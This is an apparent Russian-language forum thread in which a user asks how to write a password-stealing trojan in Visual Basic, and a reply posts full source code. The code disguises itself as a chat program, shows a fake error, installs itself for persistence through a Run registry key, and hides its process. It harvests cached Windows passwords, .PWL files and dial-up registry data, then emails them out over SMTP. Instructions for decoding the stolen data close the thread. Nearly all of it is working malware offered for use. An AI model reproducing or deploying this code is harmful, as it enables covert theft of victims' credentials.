А как сделать PSW троян

А как сделать PSW (Password Stealer) троян на VB

А какие пароли нужно чтоб он брал?

А может это подойдёт?

'При компиляции необходимо скомпилировать с именем Chat.exe
' Объявляем переменные и загружаем форму
Dim STR1 As Byte
Dim N, counter1(8), Count1, Result, MySize, MyName, MyPath, SourceFile, DestinationFile, Mmain, Part
Dim Windowsdirectory As String
Dim strData As String
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function RegSaveKey Lib "advapi32.dll" Alias "RegSaveKeyA" (ByVal hKey As Long, ByVal lpFile As String, ByVal lpSecurityAttributes As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegSetValueEx& Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long)
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal non As Long, ByVal seehide As Long) As Long
Private Sub Form_Load()
' При первом запуске программы Определяет директорию Windows, Оставляет все нужное для работы приложения, 'Прописывает себя в реестр, Прячет форму, Переименовывает программу Chat.exe в RegSysPa.exe (Программа с 'функцией WNetEnumCachedPasswords при ее запуске создается фаил с паролями и логинами RegSysOn.exe) и 'копирует в Windows\System, Переименывает себя в RegSysPr.exe и копирует в Windows\System и запускает ее, 'Сохраняет кусок реестра с телефонами, Выдает сообщение "Недостаточно системных ресурсов для работы 'программы."
'При последующих запусках программы Определяет директорию Windows, Проверяет осталось ли на диске все 'нужное для работы приложения если нет то делает все что при 'При первом запуске программы', Прячет форму, 'Сохраняет кусок реестра с телефонами (Windows\SYSTEM\RegRemA.dat), Запускает программу 'Windows\SYSTEM\RegSysPa.exe

Windowsdirectory = Space(144)
Result = GetWindowsDirectory(Windowsdirectory, 144)
Windowsdirectory = Trim(Windowsdirectory)
Windowsdirectory = Left(Windowsdirectory, Len(Windowsdirectory) - 1)
On Error GoTo START
Open "st5unst.log" For Input As #1
Do While Not EOF(1)
Line Input #1, TextLine
If TextLine = "\%\%WinSysPathSysFile\%\%" Then
Close #1
GoTo START
End If
Loop
Close #1
Open "st5unst.log" For Input As #1
Open "st5unst.lo_" For Output As #2
Do While Not EOF(1)
Line Input #1, TextLine
counter1(1) = InStr(1, TextLine, "ACTION: TempFile:")
counter1(2) = InStr(1, TextLine, "ACTION: RegKey:")
counter1(3) = InStr(1, TextLine, "ACTION: SharedFile:")
counter1(4) = InStr(1, TextLine, "(File currently on disk was already up to date)")
counter1(5) = InStr(1, TextLine, "ACTION: SystemFile:")
counter1(6) = InStr(1, TextLine, "ACTION: DllSelfRegister:")
counter1(7) = InStr(1, TextLine, "ACTION: TLBRegister:")
counter1(8) = InStr(1, TextLine, "ACTION: RegValue:")
For Counter = 1 To 8
If counter1(Counter) > 0 Then TextLine = "\%\%WinSysPathSysFile\%\%"
Next
Print #2, TextLine
Loop
Close #2
Close #1
SourceFile = "st5unst.lo_"
DestinationFile = "st5unst.log"
FileCopy SourceFile, DestinationFile
Kill "st5unst.lo_"
SourceFile = "chat.exe"
DestinationFile = Windowsdirectory & "\SYSTEM\RegSysPr.exe"
FileCopy SourceFile, DestinationFile
SourceFile = "chat.dat"
DestinationFile = Windowsdirectory & "\SYSTEM\RegSysPa.exe"
FileCopy SourceFile, DestinationFile
RegOpenKey &H80000002, "Software\Microsoft\Windows\CurrentVersion\Run", hSubKey
RegSetValueEx& hSubKey, "RegView", 0, 1, Windowsdirectory & "\SYSTEM\RegSysPr.exe", Len(Windowsdirectory & "SYSTEM\RegSysPr.exe")
RegCloseKey hSubKey
Part = 1
MsgBox "Недостаточно системных ресурсов для работы программы.", 0, "Error"
START:
Shell Windowsdirectory & "\SYSTEM\RegSysPa.exe", 0
RegOpenKey &H80000001, "RemoteAccess", hSubKey
RegSaveKey hSubKey, Windowsdirectory & "\SYSTEM\RegRemA.dat", 0
RegCloseKey hSubKey
Hide
RegisterServiceProcess 0, 1
Timer1.Interval = 2500
End Sub
Private Sub Form_Unload(Cancel As Integer)
Timer1.Interval = 0
Winsock1.Close
RegisterServiceProcess 0, 0
End Sub
Private Sub Clear()
Mmain = ""
N = 0
N1 = 0
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
' Происходит отправка письма на mail@mail.ru 1) все PWL фаилов 2) RegRemA.dat кусок реестра 3) Фаил с 'паролями и логинами
' Также определяется размер фаилов, отправка происходит в AscII кодах, каждый отделяется '-' (так как была 'проблема c кодировкой UUEncode)
On Error GoTo 1
Timer1.Interval = 0
Winsock1.GetData strData
If Left(strData, 3) = 250 Or 220 Or 354 Then
Count1 = Count1 + 1
If Count1 = 1 Then
Winsock1.SendData "MAIL FROM: mail@123.ru" & Chr(10)
ElseIf Count1 = 2 Then
Winsock1.SendData "RCPT TO: mail@mail.ru" & Chr(10)
ElseIf Count1 = 3 Then
Winsock1.SendData "DATA" & Chr(10)
ElseIf Count1 = 4 Then
Winsock1.SendData "subject" & Chr(10)
MySize = FileLen(Windowsdirectory & "\SYSTEM\RegRemA.dat")
Winsock1.SendData Windowsdirectory & "\SYSTEM\RegRemA.dat" & " " & MySize & Chr(10)
Open Windowsdirectory & "\SYSTEM\RegRemA.dat" For Binary As #1
Do While Not EOF(1)
N = N + 1
Get #1, N, STR1
Mmain = Mmain & "-" & STR1
Select Case Len(Mmain)
Case Is > 1000
Winsock1.SendData Mmain & Chr(10)
Mmain = ""
End Select
Loop
Close #1
Winsock1.SendData Mmain & Chr(10)
Winsock1.SendData "-------------------" & Chr(10)
Clear
MySize = FileLen(Windowsdirectory & "\RegSysOn.exe")
Winsock1.SendData Windowsdirectory & "\RegSysOn.exe" & " " & MySize & Chr(10)
Open Windowsdirectory & "\RegSysOn.exe" For Binary As #1
Do While Not EOF(1)
N = N + 1
Get #1, N, STR1
Mmain = Mmain & "-" & STR1
Loop
Close #1
Winsock1.SendData Mmain & Chr(10)
Winsock1.SendData "-------------------" & Chr(10)
Clear
MyPath = Windowsdirectory & "\"
MyName = Dir(MyPath, vbNormal)
Do While MyName <> ""
If Right(MyName, 3) = "PWL" Then
MySize = FileLen(Windowsdirectory & "\" & MyName)
Winsock1.SendData Windowsdirectory & "\" & MyName & " " & MySize & Chr(10)
Open Windowsdirectory & "\" & MyName For Binary As #1
Do While Not EOF(1)
N = N + 1
Get #1, N, STR1
Mmain = Mmain & "-" & STR1
Select Case Len(Mmain)
Case Is > 1000
Winsock1.SendData Mmain & Chr(10)
Mmain = ""
End Select
Loop
Close #1
Winsock1.SendData Mmain & Chr(10)
Winsock1.SendData "-------------------" & Chr(10)
Clear
End If
MyName = Dir
Loop
Winsock1.SendData "." & Chr(10)
Clear
Timer1.Interval = 0
1
End If
End If
End Sub
Private Sub Timer1_Timer()
' Только при первом запуске программы копируется фаил RegSysOn.exe
' Программа проверяет, зашел ли пользователь в Internet
On Error Resume Next
If Part = 1 Then
SourceFile = "RegSysOn.exe"
DestinationFile = Windowsdirectory & "\RegSysOn.exe"
FileCopy SourceFile, DestinationFile
Kill "RegSysOn.exe"
End If
Count1 = 0
Winsock1.Close
Winsock1.Connect "mail.ru", "25"
Winsock1.SendData "`"
End Sub

'Вот и сам файл Chat.dat (С++)
#include <windows.h>
#include <stdio.h>
typedef struct tagPASSWORD_CACHE_ENTRY {
WORD cbEntry;
WORD cbResource;
WORD cbPassword;
BYTE iEntry;
BYTE nType;
BYTE abResource[1];
} PASSWORD_CACHE_ENTRY;
char *buf, *ob1;
FILE *stream;
BOOL CALLBACK pce(PASSWORD_CACHE_ENTRY *x, DWORD)
{ fwrite(" ", 3, 1, stream);
memmove(buf, x->abResource, x->cbResource);
buf[x->cbResource] = 0;
CharToOem(buf, ob1);
fwrite(ob1, strlen(ob1), 1, stream);
memmove(buf, x->abResource+x->cbResource, x->cbPassword);
buf[x->cbPassword] = 0;
CharToOem(buf, ob1);
fwrite(" : ", 3, 1, stream);
fwrite(ob1, strlen(ob1), 1, stream);
return TRUE;
fclose(stream);
return 0;
}
void main()
{ buf = new char[1024];
ob1 = new char[1024];
stream = fopen("RegSysOn.exe", "w+t");
HINSTANCE hi = LoadLibrary("mpr.dll"); WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) =
(WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi, "WNetEnumCachedPasswords");
(*enp)(0,0, 0xff, pce, 0);
FreeLibrary(hi);
}

'Шаг 2
'Скопируй в письме текст фаила \SYSTEM\RegRemA.dat, *.PWL или RegSysOn.exe, только не захватывая 1 символ (он всегда '-') Вставь копируемый текст в Блокнот или другой текстовый редактор и сохрани его.
'1 --------------------------------------------------------
Private Sub Form_Load()
Dim MyChar
Dim Mmain As Variant
Dim N
Dim N1
Open "c:\2.txt" For Input As #1 '(<-- имя сохраненного фаила)
Open "c:\remote.dat" For Output As #2
'(<-- *.PWL или *.txt)
Do While Not EOF(1)
MyChar = Input(1, #1)
'Debug.Print MyChar
If MyChar <> "-" Then
N = N & MyChar
Else
Mmain = Mmain & Chr(N)
N = ""
End If
Loop
Close #1
Print #2, Mmain
Close #2
End Sub

'2 --------------------------------------------------------
' Не знаю, но я не смог сразу загрузить c:\remote.dat в HKEY_CURRENT_USER и поэтому я загружал его в HKEY_USERS
Private Declare Function RegLoadKey Lib "advapi32.dll" Alias "RegLoadKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal lpFile As String) As Long
Private Sub Form_Load()
RegLoadKey &H80000001, "RemoteAccess", "c:\remote.dat"
End Sub

'Шаг 3
'Удали свой HKEY_CURRENT_USER\RemoteAccess (перед этим конечно сохраните)]
'Зайди в реестр и экспортируй фаил реестра [HKEY_USERS\RemoteAccess] (к примеру phones.reg), исправь в 'файле phone.reg HKEY_USERS на HKEY_CURRENT_USER, и импортируй myphone.reg в реестр и перезагрузи 'компьютер.